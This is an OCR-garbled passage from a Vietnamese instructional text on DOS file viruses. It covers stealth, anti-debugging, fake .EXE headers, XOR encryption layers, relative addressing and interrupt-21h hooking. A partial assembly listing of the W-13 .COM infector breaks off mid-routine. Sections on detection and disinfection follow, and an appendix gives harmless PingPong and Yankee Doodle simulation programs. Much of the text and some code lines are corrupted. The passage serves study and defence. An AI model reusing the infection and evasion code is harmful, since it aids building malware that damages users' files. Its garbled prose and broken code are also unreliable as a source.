Tuy vay, cdc ngit thudng chi€m ctia RF - virus 1a ngdt 1Ch hon 12 ngit 8 (néu d6i tugng pha
hoai 1 loa). C4dc doan ma minh hoa phan ph4 hoai c6 thé xem trong phan phu luc.

5/ Ki thuat gay nhiéu va nguy trang.
a. Nguy trang: Mot yéu diém khong céch nao tranh khoi 12 file d6i tugng s& bi tang kich
thudc. Luong tang 1én nay phu thudc vao viéc c6 bao nhiéu virus da lay vao va ki thuat lay.
Day ciing 1a mot thach thiic cho cdc Hacker. Song vé sau nay, cling da ¢6 céch giai quyét khi
lénh DIR ctia DOS dung chitc nang 11h va 12h dé 14y thong tin vé file (ké ca kich thuéc), do
do6, viéc chi phoi chitc niang nay ciing ¢6 thé dénh Ira dugc mot s6 ngudi. Nhung diéu nay
ciing gay hiéu tng cho c4dc phan mém ding cdc chic ning ndy dé copy file, so sénh hay té
chiic 14y viéc thi hanh file ma khong thong qua DOS.
b. Gdy nhiéu: Néu vén dé nguy trang chi don gian 12 nhim gidi quyét hién tuong tang kich
thudc, thi van dé€ gay nhiéu lai c¢6 tdm quan trong trong viéc chong nhitng phan mém antivirus
¢6 y dinh “truc xudt* virus ra khai file.
Thong thudng, céc nha chita tri virus phai ndm duoc virus cit dau dit liéu cua file d6i tugng &
dau roi khoi phuc lai. Dé 1am diéu nay, doi khi ho phai tham khao chuong trinh virus va ciing
dé theo dbi néu kich thude chuong trinh qud nho. Ki thuat gay nhiéu sé khong cho ho ¢6 kha
ning dé 1am viéc nay, hodc lam trong diéu kién cuc ki khé khan vi logic chuong trinh. Thong
thuong, virus s€ thuc hién :

+ Anti-debug: Cic thao chuong vién thudong ding cdc phin mém debug (nhu
DEBUG, D86, Turbo Debugger .....) dé theo ddi chuong trinh virus. Céc chuong trinh nay thuc
chat phai ding cic ngit 1 va 3 dé thi hanh timg buéc mot. Tat nhién diéu nay s& khong con
thuc hién dugc nita vi virus ciing s& chi phai ngat 1 va 3, bat ki su xam pham vao dén ngat nay
s€ dan dén nhiing két cuc khong ludng trude duge.

+ .EXE header gid: Khi kiém tra virus trén file .EXE, diéu bat buoc 13 thao chuong
vién phai doc bang .EXE header vao va dinh dau vao file, tit d6 méi phét hién ra virus. Nay
diéu ndy ciing khong con nhu trude nita. That 1a khong may néu ho doc bang tham s6 nay
bang cdch mo file va doc, chuong trinh virus da nhanh tay hon khi phét hién ra y d6 nay va
thay vao d6 mot bang tham s6 binh thudng thi moi chuyén van binh thudng, nghia 1a “tinh
hinh & file vo cling yén tinh*.

+ M3 héa chuong trinh: Mot huéng khac cting duoc nhiéu F - virus 4p dung nhim
muc dich chong debug bing cdch ma héa phén 16n chuong trinh virus. Chi khi ndo vao viing
nhd, phan chuong trinh nay méi duge ma héa nguoc lai. Ki thuat ma héa thuong dung chi 1a
str dung két qua ctia 1énh XOR. Mot virus thudc hang 130 lang 1a 1701 da str dung ki thuat nay.
Tuy nhién, mot 1an ma héa ciling khong lam cdc nha chéng virus nan 10ng nén khuynh hudng
ctia virus hién nay 1a ma héa thanh timg ting, ting nay giai ma cho tang ké né va khéa cia
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moi phin tly thuoc vao thoi gian lay (nghia 1a véi céc file duogc 1ay & nhiing thoi diém khéc
nhau, phan ma cling khic nhau.

6/ Cac ki thuat khac.
a. K7 thudt dinh vi chuong trinh: DG6i v6i nhiing F - virus, 4p dung ki thuat 1ay chén dau
khong gap nhitng ric ré6i ndy (nhung nhuge diém cla né 1a chi lay duogc trén file COM).
Nhung nhiing F - virus ding phuong phdp Append file thi lai gap rac réi do viéc dinh vi nhitng
bién noi tai trong chuong trinh virus vi 16 rang offset ctia n6 khong xdac dinh mot cach tuyét
doi ma phu thudc vao kich thudc file né gin vao. Céc cdch dé giai quyét trudng hop nay la:

+ Dinh vi twong d6i: Chuong trinh virus s€ dinh vi offset ctia né trong moi file theo
dau vao virus hon 1a tir PSP trd di. Nghia 1a moi tdc vu truy xuét bién ndi tai cting duoc tinh ti
dau chuong trinh virus. Diéu nay lai gay ldng ting cho céc nha san xuét phan mém mot khi F -
virus loai ny xuét hién. Thong thudng dé dinh vi ddu vao chuong trinh virus, virus s& ddy
offset k& ti€p vao trong Stack r6i 18y n6 ra bang mot lénh POP, don gian 14y gid tri ndy vao
trong mot thanh ghi cho phép tham chiéu gidn tiép (SI, DI, BX... ching han), ltic nay moi tham
chiéu cac bién noi tai s€ theo thanh ghi nay.

Poan ma sau minh hoa céch thic nay.
; Entry cua chuong trinh virus

entry:

call Next ; Dy offset nhan next vo Stack
Next:

pop SI ; LAy nguoc ra bang 1énh POP

sub SI, 3 ; Viléenh CALL chiém 3 byte

; nén lic nay SI trd dén dau chuong
........ ; trinh virus.
mov word ptr [SI+100h] ; Tham chi€u bién noi tai

Song phuong phép nay lai 1am cho m¢t s6 nha Hacker khé chiu khi viéc dinh vi tuong d6i nay
“chi€m* mat mot thanh ghi. Vi vay, mot dé nghi khdc dugc néu ra nhim khéc phuc trudng hop
nay.

+ Dinh vi tuyét doi bing céch thay déi CS:IP : Sau khi dugc trao quyén diéu khién,
chuong trinh virus c6 thé chi€ém va luu trd mot viing nhé, chuyén chuong trinh sang viing nay
theo offset tity chon (thuong 1a 0, 0100h), r6i chuyén quyén diéu khién sang viing m&i tao niy.
b. K7 thudt ldy ngdat: Khong nhu B - virus, s6 luong it va ciing c6 it khi ton tai qua nhiéu loai
trong viing nhé, F - virus c6 thé tén tai déng thoi nhiéu loai trong viing nhé. Va chin han doc
gia ai cling biét rang F - virus s& chi phoi ngit 21h. Mot quy luat vang trong mdy tinh: quyén
loi thudc vé nhitng phan mém nao chi phéi mdy trudc tién, nhitng chuong trinh virus 1én sau sé&
khong con cdi quyén uu tién dy nita. Mat khdc, mot phan mém chong virus dang thudng tri
ciing c6 thé lén trudc hét va chi phai ngit 21h, bat ky mot 16i goi md/doc/ghi file déu dugc né
kiém tra chit ch& (mot s6 phan mém chong virus trong nuée ciing ap dung kiéu nay).

Liic nay, vin dé song con dat ra 1a 1am sao chiém cho dugc ngat 21h chuén ctia DOS. Ai nim
dugc diéu nay dau tién, ngudi d6 sé cé toan quyén véi cdc 10i goi ngit tiép sau d6 ma khong
mot ai kiém sodt ndi.

C6 mot vai cach dé 1ay duoc ngét 21h chudn nay, trong d6 c6 mot cach rat thong minh clia
virus Yankee Daodle: né da c6 duoc ngat 21h chudn bang cach thong qua ngét 1 va 3, hay tu
dinh vi tuyét d6i nhu & mot phan mém chéng virus. Tuy nhién, nhitng céch c6 dugc van khong
thuyét phuc duoc nhitng nha 1i thuyét vi trong thuc t€ kha nang khong dat dugc c6 thé rat cao.
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D6 1a toan bo nhitng ki thuat ma F - virus hay ding, tuy khong bat budc moi B - virus tuan
theo, nhung hau hét virus hién nay, trong ciing nhu ngoai nudc déu dp dung.

VI - Phan tich F - virus.

Viéc phan tich khong nhidm dua ra nhitng virus c6 ki thuat viét phic tap hay diung nhitng thi
thuat dé chong debug,,, ma & day toi chi chon virus c6 cach viét don gian, ngin gon, nhim
muc dich minh hoa vai ki thuat then chét.

Ung v6i hai loai F - virus chiing ta s& 1an luot phan tich hai virus duoc nhiéu ngudi biét dén W-
13 (con dugc biét dudi tén 534), mot trong nhiing virus ddu tién xuét hién tai thanh pho va
Datalock ver 1.00 ¢6 sttc 1ay lan rat manh. Hai virus nay duoc chon vi 1i do chuong trinh cta
chiing don gian, khong c6 Anti-debug.
1/ TF - virus: W-13.

a.Mo td:

+ Kich thudce 534 byte.

+ D6i tuong: chi nhiing fiel dang .COM trong thu muc hién hanh.

+ Céch dinh vi tuong d6i theo dau chuong trinh virus.

+ Phd hoai: ddi thanh tao file thanh thang 13.

+ File doi tugng 1a mot 3 1énh NOP, tan cung la 1énh INT 20
b. Phan tich: Doan chuong trinh dugc dich bang Source.exe.

CodeSegA seg
assume CS: CodeSegA, DS:CodeSegA
org 100h
534 proc far
Start:
jmp locl
db 0CDh, 20h ; Ma 1énh cua file doi tugng
db 507 dup (0)
Locl:
push AX
mov SI, 465h ; SI trd dén bang tham s6 noi tai
mov DX, SI ; InternalBuffer
add SI
cld
mov DI, 100h
rep movsb ; Tra lai 3 byte ma cho chuong trinh
mov DI, DX
mov AH, 30h ; Ldy version cua DOS
int 21h
cmp AL, 0 ; 7 sal version
jne loc2
jmp loc16
loc2:
mov DX, 2Ch ; bat lai DTA vao buffer
add DX, DI
mov BX, DX ; BX= InternalBuffer
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mov AH, 1Ah ; +2Ch= DTABuffer
int 21h
mov BP, 0
mov DX, DI
add DX, 7 ; Tré DS:DX vao TypeFile
loc3:
mov CX, 3
mov AH, 4Eh ; FindFisrt
int 21h
jmp loc5
loc4:
mov AH, 4Fh
int 20h
loc5:

VII - Phong chéng f - virus.

1/ Phat hién: Mot dia hay file bi nhiém virus phéi dugc nhan dién xem loai virus nao va
twong tng s& c6 cach chita tri. Viéc phét hién dau tién dugc tién hanh trong viing nhé (dé phat
hién RF - Virus) r6i sau d6 méi bat ddu trén dia (cho ca hai loai virus).

a. Trong viing nhé: Vo cung can thiét vi né cho biét budc chita tri ti€p theo c6 thé dugc thuc
hién hay khong.

Dai véi 1 so loai virus, viec mo file, tim file trén dia déu bi lay va do d6 mot phadn mém
Antivius lai gitip co hoi cho virus lay lan. Viéc phét hién c6 thé bing nhiéu céch:

+ Phét hién chénh léch viing nhé cao: do loai virus tach mot ving bo nhé ra khoi tAm
kiém soat clia DOS, su chénh léch s& xuat hién giita ving nhé do BIOS quan If v viing nhé do
DOS quén 1i. Tuy nhién, su chénh léch nay cling khong c6 nghia 12 mdy da bi nhiém ma cén
phai thuc hién thém mot bude ti€p theo: Do tim doan ma: mbi progvi déu cé doan ma dic
trung, chuong trinh chong virus s€ tién hanh do cidc doan ma virus tir ving nhé thap 1én viing
nhé cao. Moi phat hién dua dén két qua cé virus, song phuong phédp nay td ra khong hiéu
nghiém vi n6 chi phat hién nhiing virus d biét, mat khac ton tai mot doan dit liéu “trang* véi
doan ma progvi (1a dit liéu mot phan mém diét virus khdac duoc tai 1én ving nhd truée do
ching han) s& din dén sai lam.

b. Trén file: Dé xac dinh mot file ¢ bi nhiém hay khong, c¢6 thé ding mot trong nhitng céch
sau:

+ Kich thudc file sau 1énh nhay: Mdi mot progvi déu c6 kich thuée chudn ciia minh.
Chuong trinh virus s€ dinh vi dau vao néu dau file 12 mot 1énh nhay, so sdnh dau vao nay véi
céc kich thudc cua file dé suy ra file bi nhiém hay chua. Déi v6i file .EXE c6 thé dinh vi ddu
vao tir bang tham s6 .EXE header, tir d6 suy ra kich thudc sau dé.
Phuong phép nay khong hiéu nghiém va to ra kém chinh xdc néu ta biét ring hién nay, cc
virus tring kich thudc rat nhiéu. Mat khdc, dau ai cam mot chuong trinh ¢6 khoang cdch sau
lénh JMP dén cudi file bang kich thudc virus. Do 16i nay, hién nay phuong phap nay khong
duoc dung nita, mac du virus con dung do td¢ do nhanh.

+ Do tim doan ma Progvi: Tuong tu nhu trong ving nhé va tit nhién cling gap 16i néu
do phai mot file chéng virus khac, ké ca chinh né chéng han.

2/ Chira tri: Viéc chita tri file don gian hon viéc chita tri dia. Chi don gian 1a tra lai di

liéu ctia chuong trinh d6i tugng da bi virus chi€m gift va cét progvi ra khoi file d6i tugng.

91



a. boi vdi cdc file dang COM/BIN :

+ Néu dang Appenfzd file: Chi don gian dinh vi va tra lai c4c byte dau bi virus chi€m,
doi con trd dén dau vao progvi rdi cét progvi ra khoi file.

+ Néu dang chén d4u: Phai tai toan bo file vao viing nhd réi ghi lai vao dia véi chi

dinh dau vao file bang dia chi buffer cii cong véi kich thudc chuong trinh virus.
b. Doi vdi file dang .EXE: Néu virus luu gitt .EXE header cii cua file thi chi viéc khoi phuc
don gian bang cach tra lai .EXE header cii, ngugc lai, phai dinh vi cdc yéu t6 clia bang .EXE
header. Mot diéu déng néi 1a trong qua trinh khoi phuc file .EXE, kich thudc cii clia né c6 thé
khong dugc tra lai ding vi mot diéu don gian: trong qué trinh dinh vi cho CS, bit buoc kich
thudc file phai dugc 1am tron thanh doan, chinh vi diéu nay, cdc file .EXE dugc khoi phuc déu
¢6 kich thudce chia hét cho 16 va lugng chénh léch khoang 15 byte (néu virus khong luu giit
gid tri kich thudc file cii).

3/ Phong chong: Hién nay, chua ¢6 phan mém nao t6 ra hiéu qua trong viéc phong chong
F - virus, mic dui c6 qud nhiéu phan mém chong virus trén thi trudong. C6 thé ké ra cich chong
virus sau :

+ Thudng tri va do tim: phin mém Antivirus s& thudng trd va bat ki mot file dugc
thi hanh bang chifc ning 4B s& dugc né kiém tra xem c6 bi nhiém virus khong trudc khi cho
thi hanh. Cach nay khong hiéu qua néu c6 mot virus méi xudt hién va s6 lugng virus cang tang
s& lam tang thoi gian kiém tra.

+ Thudng tri va phét hién virus trong viing nhg: Phan mém Antivirus s& thudng trd
va chi phai cdc ngat clia DOS, cdc tac vu goi DOS hang loat dé mé file, d6i thuoc tinh, 14y va
dat lai ngady gio cap nhat file s&€ duoc ghi nhan va thong bdo su ¢6 mat cta virus. Tuy vay, d6i
véi loai virus tinh khon, viéc 14y dia chi goc ctia DOS 1a diéu dé dang nén khong thé kiém soat
duoc cdc hanh dong tiép theo cta virus.

4/ Khoi phuc hau qua: Nhitng pha hoai cta F - virus doi khi cling khd tan nhén nhu x6a
FAT, ROOT, format ... & day, khi gip hau qua da rdi cha virus, viéc tot nhat can lam 1a dimg
voi va format lai dia, vi sO virus format dia khong phai 12 nhiéu, ma doi khi chi 12 x6a mot
phén hay cting 1am format mot 14n dia. Phan con lai van c6 thé khoi phuc lai bing mot s6 phan
mém chuyén dung nhu Fixdisk ctia Pctool, NDD ctia Norton Untilities. N&éu van khong stta
chita dugc va thong tin trén dia c¢6 gid tri thi nén moi mot nha chong virus dén trude khi ¢
quyét dinh cudi cung 1a format dia.
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PHU LUC
Mot S6 Chuong Trinh Mo Phong
1/ Poan chuong trinh mo phong virus PingPong

;Tao mot trai ball trén man hinh. N6 s& chuyén dong tuan theo ding céc dinh
;luat phan xa. Khong anh hudng gi dén hoat dong ctia may.

Code Segment byte public
Assume CS: code. DS: code
org 100h
main Proc near
jmp begin
main endp
int8 proc near
push DS ;Cét thanh ghi
push AX
push BX
push (0),¢
push DX
;Kiém tra xem mode man hinh c6 thay déi gi khong
push CS
pop DS
mov AH, OFh
int 10h ;Lay mode video
mov BL, AL
cmp BX, word ptr DispMode ;7 Thay mode
je contl

;Cap nhat tham s6 méi néu c6 thay déi
mov word ptr DispMode, BX

dec AH
mov byte ptr MaxColumn, AH
mov AH, 1
cmp BL,7
jne cont2
dec AH
Cont2:
cmp BL, 4
jae cont3
dec AH
Cont3:
mov byte ptr TextGraph, AH
mov word ptr CurPos, 101h
mov word ptr Direction, 101h

93



mov AH, 3 ;
int 10h
push DX
mov DX, word ptr CurPos
jmp cont4
Contl:
mov AH, 3 ;
int 10h
push DX
mov AH, 2 ;
mov DX, word ptr CurPos
int 10h
mov AX, word ptr CharAtrib
cmp byte ptr TextGraph, 1
jne cont5 ;
mov AX, 8307h ;
cont5:
mov BL, AH
mov CX, 1 ;
mov AH, 9 ;
int 10h
cont4:
mov CX, word ptr Direction
cmp DH, 0
jne cont6
Xor CH, OFFh
inc CH
Cont6:
cmp DH, 10h
jne Cont7
Xor CH, OFFh
inc CH
Cont7:
cmp DL, 0
jne cont8
xor CL, OFFh
inc CL
cont8:
cmp DL, byte ptr MaxColumn
jne cont9
Xor CL, OFFh
inc CL
cont9:
cmp CX, word ptr Direction
jne contl1
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Doc vi tri con trd hién thoi

Doc vi tri con tro hién thoi

;Cat vi tri nay vao Stack
Dat lai vi tri con tro
;T61 vi tri Ball

;Mode man hinh hién thoi la
;Graph hay Text
Néu la Graph s& dung XOR
character bite

Tra lai ki tu cii tai vi tri
Ball da chiém

;Tinh todn huéng niy ciia ball
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mov AX, word ptr CharAttrib

and AL, 7

cmp AL, 3

jne cont12

Xor CH, OFFh

inc CH
contl2:

cmp AL,5

jne contl1

Xor CL, OFFh

inc CL
contll:

add DL, CL

add DH, CH
mov word ptr Direction, CX
mov word ptr CurPos, DX

mov AH, 2 ;Dit con trd vao vi tri mdi,

int 10h ;doc ki tu sé bi Ball thay thé
mov  AH, 8 ;Ki tu nay s€ dugc tra lai trong ki
int 10h ;201 ngit ti€p theo

mov word ptr CharAttrib, AX
mov BL, AH
cmp byte ptr TextGraph, 1

jne contl3
mov BL, 83h
contl3: ;In Ball ra man hinh tai vi tr{
mov CX, 1 ; mGi, néu man hinh & ché
mov AX, 0907h ;d0 Graphic, ki tu hién thoi
int 10h ;dugc XOR charactor bits
pop DX
mov AH, 2 ;Dit con tro lai vi tri cii truGe
int 10h ;khi goi ngét bing caCH 14y lai
pop DX ;trong Stack
pop CX
pop AX
pop DS
contl4:
jmp far 0000:0000
int8 endp

CharAttrib dw 0
CurPos dw 101h

Direction dw 101h
TextGraph db OFFh
DispMode db OFFh

PageActive db OFFh
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MaxColumn db 0

install procnear
begin:
mov  AX, 3508h ;Lay dia chi ngat 8
int 21h
mov word ptr [cont14+1], BX ;Cat dia chi nay
mov word ptr [cont14+3], ES
mov DX, offset int8 ;Thay ngit 8
mov AX, 2508h
int 21h
mov DX, offset begin ;Thuong trd bang ngat 27h
int 27h
install endp
code ends
end main

2/ Poan chuong trinh mo phong Yankee Doodle virus.
;Lap trinh ra loa - cho phép choi bai Yankee Doodle
;Khong anh hudng gi dén hoat dong cua may

code segment byte public
assume CS: code, DS: code
org 100h
main proc near
jmp begin
main endp
newintlC  procnear
pushf
push AX
push BX
push DS
push ES
push CS
push DS
cmp byte ptr active, 1 ;D4 active chua, néu roi sé khong active nita
jne exit
cmp byte ptr active, 0 ;D4 bt ddu choi chua, néu roi
jne cont3 ;s€ khong reset lai

;Phan nay reset cdc buffer chita Note va Delay

mov word ptr beginMusic, offset music
mov word ptr beginDelay, offset delay
mov byte ptr active, 1 ;Dat co bdo da reset

cont3:
cmp byte ptr cont, 0 ;? Delay mot note da hét chua, néu
je contl ;khong s& dém bang céch giam 1don vi
dec byte ptr count
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jmp exit
counl:
;Phin nay choi mot note bang cdch 14y ra mot note trong bufferBeginMusic
;va thoi gian trong buffer beginDelay, thoi gian nay s&€ duge dém trong bién Count
mov BX, BeginMusic

cmp DS: word ptr [BX], -1 ;Cuoi buffer chua
jne count2
in AL, 061h ;Tét loa bing cach tét bit 0 va 1

and AL, OFCh
out 61h, AL
mov byte ptr active, 0
jmp exit
cont2: ;Lap trinh cho kénh 2 ctia 8253
mov AL, 0B6h
out 43h, AL
mov AX, DS:[BX]
out 42h, AL
mov AL, AH
out 42h, AL
in AL, 61h
or AL, 3
out 61h, AL
add word ptr BeginMusic, 2
mov BX, BeginDelay
mov AL, byte ptr DS:[BX]

dec AL

mov count, AL

inc word ptr BeginDelay
exit:

pop ES

pop DS

pop BX

pop AX

popf

jmp CS: dword ptr int1C

newint1C endp
intlc dw 0
music

db 0C7h, 11h, 0C7h, 11h, OE6h, OFh, 28h, OEh, 0C7h, 11h, 28h, OEh, OE6h, OFh, 04Ch, 17h

db 0C7h, 11h, OC7h, 11h, OE6h, OFh, 28h, OEh, OC7h, 11h, 0C7h, 11h, OC7h, 11h, OC7h,
11h

db OE6h, OFh, 28h, OEh, 59h, ODH, 28h, OEh, OE6h, OFh, 0C7h, 11h, OEfh, 12h, 0C4h, 17h
db 02Ch, 15h, OEfh, 12h, 0C7h, 11h, 0C7h, 11h, 02Ch, 15h, OEfh, 12h, 02Ch, 15h, 0C5h, 1Ah

db 02Ch, 15h, OEfh, 12h, 0C7h, 11h, 02Ch, 15h, 0C4h, 17h, 02Ch, 15h, 0C4h, 17h, OC5h,
1Ah
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db 67h, 1Ch, 0C5h, 1AH, 0C4h, 17h, 2Ch, 15h, OEFh, 12h, 2Ch, 15h, 0C5h, 1Ah, 2Ch, 15h
db OEFh, 12h, 0C7h, 11h, 2Ch, 15h, C4h, 17h, C7h, 11h, OEFh, 12h, OE5h, OFh, OC7h, 11h
db 0C7h, 11h, OFFh, OFFh
delay
db 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, Sh, 9h, 5h, 5h
db 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 9h, Oh, 5h, 5h, 5h, 5h
db 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h, 5h
db 5h, 5h, 6h, 5h, 5h, 5h, 5h, 9h, 9h

beginMusic dw offset music
beginDelay dw offset delay
active db 1
activel db 0
count db 0
install procnear
begin:
AX, 351Ch ;Chiém ngit 1Ch
int 21h

mov DS: word ptr int1C, BX
mov DS: word ptr [int1C+2], ES

lea DX, NewInt1C ;Thay dia chi ngat 1Ch méi
mov AX, 251Ch
int 21h
lea DX, begin
int 27h ;Thuong tri bing ngét 27h
install endp
code ends
end main
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